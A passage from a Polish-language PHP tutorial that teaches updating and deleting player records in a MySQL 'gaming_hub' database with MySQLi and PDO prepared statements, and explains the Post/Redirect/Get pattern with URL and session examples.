            margin-bottom: 10px;
            color: #333;
        }
        .subtitle {
            color: #666;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input, select {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus, select:focus {
            outline: none;
            border-color: #667eea;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info-box {
            background: #e7f3ff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #2196F3;
        }
        .back-link {
            display: inline-block;
            margin-top: 20px;
            color: #667eea;
            text-decoration: none;
        }
        .back-link:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Edycja profilu gracza</h1>
    <div class="subtitle">ID: <?= $gracz['id'] ?> | Nick: <strong><?= htmlspecialchars($gracz['username']) ?></strong></div>
    
    <?php if ($success): ?>
        <div class="success">
            <?= htmlspecialchars($success_message) ?>
        </div>
    <?php endif; ?>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <div class="info-box">
        <strong>Informacje:</strong><br>
        • Nick gracza nie może być edytowany (to unikalna nazwa)<br>
        • Hasło można zmienić w osobnej sekcji zabezpieczeń<br>
        • Data rejestracji: <?= date('d.m.Y H:i', strtotime($gracz['created_at'])) ?>
    </div>
    
    <form method="POST">
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($gracz['email']) ?>" 
                   required>
        </div>
        
        <div class="form-row">
            <div class="form-group">
                <label>Poziom (1-100):</label>
                <input type="number" name="level" 
                       min="1" max="100"
                       value="<?= $gracz['level'] ?>" 
                       required>
            </div>
            
            <div class="form-group">
                <label>Coins:</label>
                <input type="number" name="coins" 
                       min="0"
                       value="<?= $gracz['coins'] ?>" 
                       required>
            </div>
        </div>
        
        <div class="form-group">
            <label>Ranga:</label>
            <select name="rank_name" required>
                <option value="Bronze" <?= $gracz['rank_name'] == 'Bronze' ? 'selected' : '' ?>>Bronze</option>
                <option value="Silver" <?= $gracz['rank_name'] == 'Silver' ? 'selected' : '' ?>>Silver</option>
                <option value="Gold" <?= $gracz['rank_name'] == 'Gold' ? 'selected' : '' ?>>Gold</option>
                <option value="Platinum" <?= $gracz['rank_name'] == 'Platinum' ? 'selected' : '' ?>>Platinum</option>
                <option value="Diamond" <?= $gracz['rank_name'] == 'Diamond' ? 'selected' : '' ?>>Diamond</option>
                <option value="Master" <?= $gracz['rank_name'] == 'Master' ? 'selected' : '' ?>>Master</option>
                <option value="Grandmaster" <?= $gracz['rank_name'] == 'Grandmaster' ? 'selected' : '' ?>>Grandmaster</option>
            </select>
        </div>
        
        <button type="submit">Zapisz zmiany</button>
    </form>
    
    <a href="profil.php?id=<?= $player_id ?>" class="back-link">← Powrót do profilu</a>
</div>

</body>
</html>

Sprawdzanie wyniku operacji UPDATE

Metody sprawdzania dla MySQLi:

// 1. Sprawdź ile wierszy zostało zaktualizowanych
$affected_rows = $stmt->affected_rows;  // Obiektowo

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    if ($affected_rows > 0) {
        echo "Zaktualizowano {$affected_rows} rekord(ów)";
    } else {
        echo "Nie wprowadzono zmian (dane są identyczne)";
    }
} else {
    echo "Błąd: {$stmt->error}";
}

// 3. Sprawdź czy rekord istnieje przed UPDATE
$stmt_check = $db->prepare("SELECT id FROM players WHERE id = ?");
$stmt_check->bind_param("i", $player_id);
$stmt_check->execute();
$stmt_check->store_result();

if ($stmt_check->num_rows == 0) {
    echo "Rekord o tym ID nie istnieje";
}

Metody sprawdzania dla PDO:

// 1. Sprawdź ile wierszy zostało zaktualizowanych
$affected_rows = $stmt->rowCount();

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    if ($affected_rows > 0) {
        echo "Zaktualizowano {$affected_rows} rekord(ów)";
    } else {
        echo "Nie wprowadzono zmian (dane są identyczne)";
    }
}

// 3. Sprawdź czy rekord istnieje przed UPDATE
$stmt_check = $pdo->prepare("SELECT id FROM players WHERE id = :id");
$stmt_check->execute(['id' => $player_id]);

if (!$stmt_check->fetch()) {
    echo "Rekord o tym ID nie istnieje";
}

Przykład 4: Aktualizacja wielu graczy naraz (batch UPDATE)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// Przykład: Dodaj 100 coins wszystkim graczom Bronze
$rank = 'Bronze';
$bonus_coins = 100;

$stmt = $db->prepare("UPDATE players SET coins = coins + ? WHERE rank_name = ?");
$stmt->bind_param("is", $bonus_coins, $rank);

if ($stmt->execute()) {
    $affected_rows = $stmt->affected_rows;
    
    if ($affected_rows > 0) {
        echo "Sukces! Dodano {$bonus_coins} coins dla {$affected_rows} graczy rangi {$rank}";
    } else {
        echo "Nie znaleziono graczy rangi {$rank} lub już mieli te coins";
    }
} else {
    echo "Błąd: {$stmt->error}";
}

$stmt->close();
$db->close();
?>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    // Przykład: Dodaj 100 coins wszystkim graczom Bronze
    $rank = 'Bronze';
    $bonus_coins = 100;
    
    $stmt = $pdo->prepare("UPDATE players SET coins = coins + :bonus WHERE rank_name = :rank");
    
    if ($stmt->execute(['bonus' => $bonus_coins, 'rank' => $rank])) {
        $affected_rows = $stmt->rowCount();
        
        if ($affected_rows > 0) {
            echo "Sukces! Dodano {$bonus_coins} coins dla {$affected_rows} graczy rangi {$rank}";
        } else {
            echo "Nie znaleziono graczy rangi {$rank} lub już mieli te coins";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

DELETE – Usuwanie rekordów

Przykład 5: Usuwanie gracza z potwierdzeniem (GET + POST)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$gracz = null;
$deleted = false;

// Pobieramy ID gracza z URL
$player_id = (int)($_GET['id'] ?? 0);

if ($player_id <= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobieramy dane gracza do wyświetlenia
$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();

if (!$gracz) {
    die('Nie znaleziono gracza o ID: ' . $player_id);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm_delete'])) {
    
    // Dodatkowe zabezpieczenie - sprawdzamy token CSRF (opcjonalnie)
    // if ($_POST['token'] !== $_SESSION['token']) die('Invalid token');

    $stmt = $db->prepare("DELETE FROM players WHERE id = ?");
    $stmt->bind_param("i", $player_id);
    
    if ($stmt->execute()) {
        // Sprawdzamy ile wierszy zostało usuniętych
        $affected_rows = $stmt->affected_rows;
        
        if ($affected_rows > 0) {
            $deleted = true;
            $username = $gracz['username'];
            $success_message = "Gracz '{$username}' (ID: {$player_id}) został permanentnie usunięty z bazy danych.";
        } else {
            $error_message = "Rekord nie został usunięty (możliwe że już nie istnieje)";
        }
    } else {
        $error_message = "Błąd podczas usuwania: {$stmt->error}";
    }
    
    $stmt->close();
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Usuń gracza - <?= htmlspecialchars($gracz['username'] ?? 'Usunięty') ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
            text-align: center;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .player-info h3 {
            margin-bottom: 15px;
            color: #333;
        }
        .player-info p {
            margin: 8px 0;
            color: #666;
        }
        .buttons {
            display: flex;
            gap: 10px;
            margin-top: 30px;
        }
        button, .button {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .checkbox-confirm {
            margin: 20px 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-confirm input {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-confirm label {
            cursor: pointer;
            user-select: none;
        }
    </style>
</head>
<body>

<div class="container">
    <?php if ($deleted): ?>
        <div class="success">
            <h2>Gracz został usunięty</h2>
            <p><?= htmlspecialchars($success_message) ?></p>
            <br>
            <a href="lista_graczy.php" class="button btn-cancel">← Powrót do listy graczy</a>
        </div>
    <?php else: ?>
        <h1>Usuń gracza</h1>
        
        <?php if (isset($error_message)): ?>
            <div class="error">
                <?= htmlspecialchars($error_message) ?>
            </div>
        <?php endif; ?>
        
        <div class="warning">
            <strong>OSTRZEŻENIE:</strong><br>
            Ta operacja jest <strong>nieodwracalna</strong>! Gracz i wszystkie jego dane zostaną <strong>permanentnie usunięte</strong> z bazy danych.
        </div>
        
        <div class="player-info">
            <h3>Dane gracza do usunięcia:</h3>
            <p><strong>ID:</strong> <?= $gracz['id'] ?></p>
            <p><strong>Username:</strong> <?= htmlspecialchars($gracz['username']) ?></p>
            <p><strong>Email:</strong> <?= htmlspecialchars($gracz['email']) ?></p>
            <p><strong>Level:</strong> <?= $gracz['level'] ?></p>
            <p><strong>Rank:</strong> <?= $gracz['rank_name'] ?></p>
            <p><strong>Coins:</strong> <?= number_format($gracz['coins']) ?></p>
            <p><strong>Rozegrane gry:</strong> <?= $gracz['games_played'] ?></p>
            <p><strong>Data rejestracji:</strong> <?= date('d.m.Y H:i', strtotime($gracz['created_at'])) ?></p>
        </div>
        
        <form method="POST">
            <div class="checkbox-confirm">
                <input type="checkbox" id="confirm" name="confirm_check" required>
                <label for="confirm">Potwierdzam, że chcę <strong>permanentnie usunąć</strong> tego gracza</label>
            </div>
            
            <div class="buttons">
                <a href="profil.php?id=<?= $player_id ?>" class="button btn-cancel">Anuluj</a>
                <button type="submit" name="confirm_delete" class="btn-delete" onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza? Ta operacja jest NIEODWRACALNA!')">
                    Usuń gracza
                </button>
            </div>
        </form>
    <?php endif; ?>
</div>

</body>
</html>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $gracz = null;
    $deleted = false;
    
    // Pobieramy ID gracza z URL
    $player_id = (int)($_GET['id'] ?? 0);
    
    if ($player_id <= 0) {
        die('Nieprawidłowe ID gracza');
    }
    
    // Pobieramy dane gracza do wyświetlenia
    $stmt = $pdo->prepare("SELECT * FROM players WHERE id = :id");
    $stmt->execute(['id' => $player_id]);
    $gracz = $stmt->fetch();
    
    if (!$gracz) {
        die('Nie znaleziono gracza o ID: ' . $player_id);
    }
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm_delete'])) {
        
        // Dodatkowe zabezpieczenie - sprawdzamy token CSRF (opcjonalnie)
        // if ($_POST['token'] !== $_SESSION['token']) die('Invalid token');
        
        // BEZPIECZNE - DELETE z prepared statement
        $stmt = $pdo->prepare("DELETE FROM players WHERE id = :id");
        
        if ($stmt->execute(['id' => $player_id])) {
            // Sprawdzamy ile wierszy zostało usuniętych
            $affected_rows = $stmt->rowCount();
            
            if ($affected_rows > 0) {
                $deleted = true;
                $username = $gracz['username'];
                $success_message = "Gracz '{$username}' (ID: {$player_id}) został permanentnie usunięty z bazy danych.";
            } else {
                $error_message = "Rekord nie został usunięty (możliwe że już nie istnieje)";
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    $error_message = "Wystąpił błąd podczas usuwania gracza";
}

$pdo = null;
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Usuń gracza - <?= htmlspecialchars($gracz['username'] ?? 'Usunięty') ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
            text-align: center;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .player-info h3 {
            margin-bottom: 15px;
            color: #333;
        }
        .player-info p {
            margin: 8px 0;
            color: #666;
        }
        .buttons {
            display: flex;
            gap: 10px;
            margin-top: 30px;
        }
        button, .button {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .checkbox-confirm {
            margin: 20px 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-confirm input {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-confirm label {
            cursor: pointer;
            user-select: none;
        }
    </style>
</head>
<body>

<div class="container">
    <?php if ($deleted): ?>
        <div class="success">
            <h2>Gracz został usunięty</h2>
            <p><?= htmlspecialchars($success_message) ?></p>
            <br>
            <a href="lista_graczy.php" class="button btn-cancel">← Powrót do listy graczy</a>
        </div>
    <?php else: ?>
        <h1>Usuń gracza</h1>
        
        <?php if (isset($error_message)): ?>
            <div class="error">
                <?= htmlspecialchars($error_message) ?>
            </div>
        <?php endif; ?>
        
        <div class="warning">
            <strong>OSTRZEŻENIE:</strong><br>
            Ta operacja jest <strong>nieodwracalna</strong>! Gracz i wszystkie jego dane zostaną <strong>permanentnie usunięte</strong> z bazy danych.
        </div>
        
        <div class="player-info">
            <h3>Dane gracza do usunięcia:</h3>
            <p><strong>ID:</strong> <?= $gracz['id'] ?></p>
            <p><strong>Username:</strong> <?= htmlspecialchars($gracz['username']) ?></p>
            <p><strong>Email:</strong> <?= htmlspecialchars($gracz['email']) ?></p>
            <p><strong>Level:</strong> <?= $gracz['level'] ?></p>
            <p><strong>Rank:</strong> <?= $gracz['rank_name'] ?></p>
            <p><strong>Coins:</strong> <?= number_format($gracz['coins']) ?></p>
            <p><strong>Rozegrane gry:</strong> <?= $gracz['games_played'] ?></p>
            <p><strong>Data rejestracji:</strong> <?= date('d.m.Y H:i', strtotime($gracz['created_at'])) ?></p>
        </div>
        
        <form method="POST">
            <div class="checkbox-confirm">
                <input type="checkbox" id="confirm" name="confirm_check" required>
                <label for="confirm">Potwierdzam, że chcę <strong>permanentnie usunąć</strong> tego gracza</label>
            </div>
            
            <div class="buttons">
                <a href="profil.php?id=<?= $player_id ?>" class="button btn-cancel">Anuluj</a>
                <button type="submit" name="confirm_delete" class="btn-delete" onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza? Ta operacja jest NIEODWRACALNA!')">
                    Usuń gracza
                </button>
            </div>
        </form>
    <?php endif; ?>
</div>

</body>
</html>

Sprawdzanie wyniku operacji DELETE

Metody sprawdzania dla MySQLi:

// 1. Sprawdź ile wierszy zostało usuniętych
$affected_rows = $stmt->affected_rows;

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    if ($affected_rows > 0) {
        echo "Usunięto {$affected_rows} rekord(ów)";
    } else {
        echo "Nie usunięto żadnego rekordu (możliwe że nie istniał)";
    }
} else {
    echo "Błąd: {$stmt->error}";
}

Metody sprawdzania dla PDO:

// 1. Sprawdź ile wierszy zostało usuniętych
$affected_rows = $stmt->rowCount();

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    if ($affected_rows > 0) {
        echo "Usunięto {$affected_rows} rekord(ów)";
    } else {
        echo "Nie usunięto żadnego rekordu (możliwe że nie istniał)";
    }
}

PHP – Zabezpieczenie przed duplikatami po odświeżeniu strony (F5)

Problem: Ponowne wysłanie formularza

Co się dzieje gdy użytkownik naciśnie F5?

1. Użytkownik wypełnia formularz rejestracji
2. Klika "Wyślij" (POST)
3. Dane zostają zapisane w bazie
4. Strona wyświetla "Sukces!"
5. Użytkownik naciska F5 (odświeżenie)
6. Przeglądarka pyta: "Czy ponownie wysłać formularz?"
7. Jeśli użytkownik kliknie "Tak" → próba dodania tego samego gracza ponownie!

Konsekwencje:

• Duplikaty w bazie danych
• Błędy (jeśli są ograniczenia UNIQUE)
• Złe doświadczenie użytkownika
• Problemy z logowaniem transakcji

Rozwiązanie: Post/Redirect/Get (PRG Pattern)

Po wykonaniu operacji należy dodać kod

// PRZEKIEROWANIE - zapobiega duplikatom
        header("Location: nazwa_strony.php?<dalej możemy przekazać dane w GET>;
        exit; // ZAWSZE exit po header!

Przykład 1: Podstawowe przekierowanie

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    
    // Walidacja...
    
    $stmt = $db->prepare("INSERT INTO players (username, email, created_at) VALUES (?, ?, NOW())");
    $stmt->bind_param("ss", $username, $email);
    
    if ($stmt->execute()) {
        $new_player_id = $stmt->insert_id;
        
        $stmt->close();
        $db->close();
        
        // PRZEKIEROWANIE - zapobiega duplikatom
        header("Location: profil.php?id={$new_player_id}");
        exit; // ZAWSZE exit po header!
    }
    
    $stmt->close();
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja</title>
</head>
<body>

<form method="POST">
    <input type="text" name="username" required>
    <input type="email" name="email" required>
    <button type="submit">Zarejestruj</button>
</form>

</body>
</html>

Przykład 2: Przekazywanie informacji przez URL (GET)

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $level = (int)($_POST['level'] ?? 1);
    
    // Walidacja...
    
    $stmt = $db->prepare("INSERT INTO players (username, email, level, created_at) VALUES (?, ?, ?, NOW())");
    $stmt->bind_param("ssi", $username, $email, $level);
    
    if ($stmt->execute()) {
        $new_player_id = $stmt->insert_id;
        $affected_rows = $stmt->affected_rows;
        
        $stmt->close();
        $db->close();
        
        // Przekazanie wielu informacji przez URL
        header("Location: sukces.php?id={$new_player_id}&username=" . urlencode($username) . "&affected={$affected_rows}&action=register");
        exit;
    }
    
    $stmt->close();
}

$db->close();
?>

Plik: sukces.php

<?php
// Odbieramy dane z URL
$new_player_id = (int)($_GET['id'] ?? 0);
$username = htmlspecialchars($_GET['username'] ?? 'Nieznany');
$affected_rows = (int)($_GET['affected'] ?? 0);
$action = htmlspecialchars($_GET['action'] ?? '');

if ($new_player_id <= 0) {
    die('Nieprawidłowe ID');
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja zakończona</title>
    <style>
        .success-box {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #c3e6cb;
            margin: 20px;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin: 20px;
        }
    </style>
</head>
<body>

<div class="success-box">
    <h2>Rejestracja zakończona sukcesem!</h2>
    <p>Witaj, <strong><?= $username ?></strong>!</p>
</div>

<div class="info">
    <strong>Szczegóły operacji:</strong><br>
    ID nowego gracza: <strong><?= $new_player_id ?></strong><br>
    Liczba dodanych rekordów: <strong><?= $affected_rows ?></strong><br>
    Typ operacji: <strong><?= $action ?></strong><br>
    <br>
    <a href="profil.php?id=<?= $new_player_id ?>">Zobacz profil</a> |
    <a href="lista_graczy.php">Lista graczy</a>
</div>

</body>
</html>

Zalety:

• Proste
• Nie wymaga sesji
• Działa zawsze

Wady:

• Dane widoczne w URL
• Ograniczona ilość danych (max ~2000 znaków)
• Nie nadaje się dla wrażliwych informacji

Przykład 3: Przekazywanie informacji przez SESJĘ

Kiedy używać:

• Komunikaty sukcesu/błędu
• Więcej danych
• Dane wrażliwe
• Profesjonalne projekty

<?php
session_start(); // ZAWSZE na początku pliku!

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Walidacja danych
    if (empty($username)) {
        $errors[] = "Nick jest wymagany";
    } elseif (strlen($username) < 3) {
        $errors[] = "Nick musi mieć minimum 3 znaki";
    }
    
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors[] = "Hasło jest wymagane";
    } elseif (strlen($password) < 8) {
        $errors[] = "Hasło musi mieć minimum 8 znaków";
    }
    
    // Sprawdzamy czy username już istnieje
    if (empty($errors)) {
        $stmt = $db->prepare("SELECT id FROM players WHERE username = ?");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Nick '{$username}' jest już zajęty";
        }
        $stmt->close();
    }
    
    // Jeśli brak błędów - dodajemy gracza
    if (empty($errors)) {
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        $stmt = $db->prepare("INSERT INTO players (username, email, password, created_at) VALUES (?, ?, ?, NOW())");
        $stmt->bind_param("sss", $username, $email, $password_hash);
        
        if ($stmt->execute()) {
            // Pobieramy informacje o operacji
            $new_player_id = $stmt->insert_id;
            $affected_rows = $stmt->affected_rows;
            
            $stmt->close();
            $db->close();
            
            // Zapisujemy dane w sesji
            $_SESSION['registration_success'] = [
                'player_id' => $new_player_id,
                'username' => $username,
                'email' => $email,
                'affected_rows' => $affected_rows,
                'timestamp' => date('Y-m-d H:i:s')
            ];
            
            // Przekierowanie (URL czysty, bez danych)
            header("Location: rejestracja_sukces.php");
            exit;
            
        } else {
            $errors[] = "Wystąpił błąd podczas rejestracji: {$stmt->error}";
        }
        
        $stmt->close();
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja gracza</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 500px;
            width: 100%;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Rejestracja Gracza</h1>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <div class="form-group">
            <label>Nick gracza:</label>
            <input type="text" name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" 
                   placeholder="np. ProGamer123" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($_POST['email'] ?? '') ?>" 
                   placeholder="twoj@email.com" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required>
        </div>
        
        <button type="submit">Zarejestruj się</button>
    </form>
</div>

</body>
</html>

Plik: rejestracja_sukces.php

<?php
session_start(); // ZAWSZE na początku!

// Sprawdź czy istnieją dane o rejestracji
if (!isset($_SESSION['registration_success'])) {
    // Jeśli ktoś próbuje wejść bezpośrednio na tę stronę
    header("Location: rejestracja.php");
    exit;
}

// Pobierz dane z sesji
$data = $_SESSION['registration_success'];
$player_id = (int)$data['player_id'];
$username = htmlspecialchars($data['username']);
$email = htmlspecialchars($data['email']);
$affected_rows = (int)$data['affected_rows'];
$timestamp = htmlspecialchars($data['timestamp']);

// Usuń dane z sesji (wyświetl tylko raz)
unset($_SESSION['registration_success']);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja zakończona</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .success-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 600px;
            width: 100%;
        }
        .success-icon {
            text-align: center;
            font-size: 80px;
            color: #28a745;
            margin-bottom: 20px;
        }
        h1 {
            text-align: center;
            color: #155724;
            margin-bottom: 20px;
        }
        .success-message {
            background: #d4edda;
            color: #155724;
            padding: 20px;
